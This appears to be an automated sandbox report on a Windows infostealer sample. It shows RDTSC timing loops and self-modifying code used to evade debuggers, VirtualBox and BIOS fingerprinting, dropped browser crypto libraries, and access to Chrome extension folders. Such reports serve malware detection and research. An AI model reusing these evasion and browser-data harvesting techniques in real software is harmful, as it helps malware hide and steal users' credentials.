Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D958 second address: 69D95E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D95E second address: 69D979 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F55Eh 0x00000007 je 00007F768920F556h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D979 second address: 69D98C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F7689489CAAh 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D98C second address: 69D992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D992 second address: 69D99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7689489CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D52F second address: 69D54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F768920F566h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D6AA second address: 69D6C1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7689489CA6h 0x00000008 je 00007F7689489CA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D6C1 second address: 69D6C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D6C5 second address: 69D6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAD13 second address: 6AAD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAD19 second address: 6AAD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAD1D second address: 6AAD45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F55Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F768920F564h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8AB8 second address: 6A8AD6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F7689489CB2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9107 second address: 6B910B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B910B second address: 6B9111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA8E5 second address: 6BA8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F768920F556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA8EF second address: 6BA8FF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7689489CA6h 0x00000008 js 00007F7689489CA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC8A5 second address: 6BC8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC8AB second address: 6BC8AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC8AF second address: 6BC8CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC8CC second address: 6BC8D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC8D2 second address: 6BC8D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC4DF second address: 6BC4ED instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7689489CA8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDEF5 second address: 6BDF17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F768920F569h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF6BA second address: 6BF6C6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7689489CA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF6C6 second address: 6BF6CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF545 second address: 6BF55C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7689489CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jng 00007F7689489CA6h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF55C second address: 6BF563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0059 second address: 6D005E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEEDF second address: 6CEEE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEEE3 second address: 6CEEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF439 second address: 6CF449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F768920F562h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF449 second address: 6CF44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF44F second address: 6CF46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F768920F569h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF46C second address: 6CF472 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFAC8 second address: 6CFB10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F569h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F768920F565h 0x00000011 jmp 00007F768920F561h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFB10 second address: 6CFB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFB15 second address: 6CFB2B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F768920F558h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F768920F556h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFB2B second address: 6CFB52 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7689489CA6h 0x00000008 jmp 00007F7689489CB9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFB52 second address: 6CFB73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F562h 0x00000007 jmp 00007F768920F55Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFB73 second address: 6CFB79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFB79 second address: 6CFB7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFB7F second address: 6CFB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFCF8 second address: 6CFCFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2CFE second address: 6D2D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2D02 second address: 6D2D08 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2D08 second address: 6D2D0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2D0E second address: 6D2D1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2D1B second address: 6D2D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F62 second address: 6D2F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F68 second address: 6D2F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F70 second address: 6D2F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F768920F567h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F90 second address: 6D2F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F96 second address: 6D3017 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F768920F556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d sub edx, dword ptr [ebp+122D1973h] 0x00000013 push dword ptr [ebp+12451610h] 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F768920F558h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 sub dl, FFFFFFDFh 0x00000036 call 00007F768920F559h 0x0000003b push ebx 0x0000003c push esi 0x0000003d pushad 0x0000003e popad 0x0000003f pop esi 0x00000040 pop ebx 0x00000041 push eax 0x00000042 push edi 0x00000043 pushad 0x00000044 pushad 0x00000045 popad 0x00000046 jmp 00007F768920F55Eh 0x0000004b popad 0x0000004c pop edi 0x0000004d mov eax, dword ptr [esp+04h] 0x00000051 je 00007F768920F560h 0x00000057 pushad 0x00000058 je 00007F768920F556h 0x0000005e push ecx 0x0000005f pop ecx 0x00000060 popad 0x00000061 mov eax, dword ptr [eax] 0x00000063 push eax 0x00000064 push edx 0x00000065 jnp 00007F768920F55Ch 0x0000006b jc 00007F768920F556h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5F69 second address: 6D5F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7BA6 second address: 6D7BB1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007F768920F556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0343 second address: 52F0349 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0349 second address: 52F034F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F034F second address: 52F0353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0353 second address: 52F0380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F768920F55Fh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F768920F560h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0380 second address: 52F0384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0384 second address: 52F038A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F038A second address: 52F0390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0390 second address: 52F03DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F568h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F768920F55Eh 0x00000014 sub ecx, 326DF788h 0x0000001a jmp 00007F768920F55Bh 0x0000001f popfd 0x00000020 mov dh, ah 0x00000022 popad 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F03DC second address: 52F03E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F03E0 second address: 52F03FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F568h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0B60 second address: 52F0B7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7689489CB9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0B7D second address: 52F0BA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F768920F55Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0BA4 second address: 52F0C34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 call 00007F7689489CB3h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F7689489CB6h 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushad 0x00000018 movzx eax, bx 0x0000001b pushfd 0x0000001c jmp 00007F7689489CB9h 0x00000021 xor esi, 4C9ED0E6h 0x00000027 jmp 00007F7689489CB1h 0x0000002c popfd 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushfd 0x00000031 jmp 00007F7689489CAEh 0x00000036 and esi, 00DA3C88h 0x0000003c jmp 00007F7689489CABh 0x00000041 popfd 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0C34 second address: 52F0C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebp, esp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F768920F567h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0C56 second address: 52F0C73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0C73 second address: 52F0C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F768920F55Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0C83 second address: 52F0C98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7689489CAAh 0x00000010 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E69BB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 43F65E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60D97A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4419FE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EF670 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6763FB instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_001EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_001EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_001EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_001F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001E16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_001EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_001F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001EDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001E1160 GetSystemInfo,ExitProcess,

0_2_001E1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
